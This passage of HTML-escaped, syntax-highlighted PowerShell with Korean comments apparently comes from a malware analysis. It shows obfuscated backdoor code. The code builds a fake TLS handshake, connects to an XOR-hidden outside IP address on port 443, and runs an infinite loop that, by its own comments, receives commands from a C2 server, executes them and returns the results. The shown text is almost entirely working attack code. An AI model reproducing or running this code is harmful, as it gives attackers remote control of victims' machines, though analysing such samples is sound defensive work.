class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalCombinedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AnotherFixedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CombinedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalLengthBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalCombinedBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalLengthBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessagePart1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalLengthBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalCombinedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessageLengthBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessagePart1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessageLengthBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 최종 프로토콜 메시지 (0x16, 0x03, 0x01 헤더 + 길이 + 메시지 데이터)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalProtocolMessage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessageLengthBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProtocolMessagePart1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FinalProtocolMessage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 메인 실행 로직&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TCPClient&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Net.Sockets.TcpClient&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 호스트와 포트 연결&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 호스트: &quot;23.254.204.227&quot; (XOR 복호화)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 포트: (50 * 9) - (11 * 2)) + 2^3 + sqrt(49) = 450 - 22 + 8 + 7 = 443 (HTTPS 기본 포트)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TCPClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;XORDecryptBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncryptedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-XORKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sqrt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TCPClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 초기 메시지 생성 및 전송&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$InitialMessage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GenerateInitialMessage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$InitialMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$InitialMessage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 초기 응답 읽기 (16384 바이트)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Out-Null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 읽은 데이터는 사용되지 않음&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 무한 루프: C2 서버로부터 명령을 받고 실행 후 결과를 다시 전송&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 버퍼 초기화&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 네트워크 스트림에서 데이터 읽기&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BytesRead&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 읽기 실패 시 루프 종료&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 수신된 바이트에서 실제 데이터 부분 추출 (5바이트 오프셋부터 시작)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
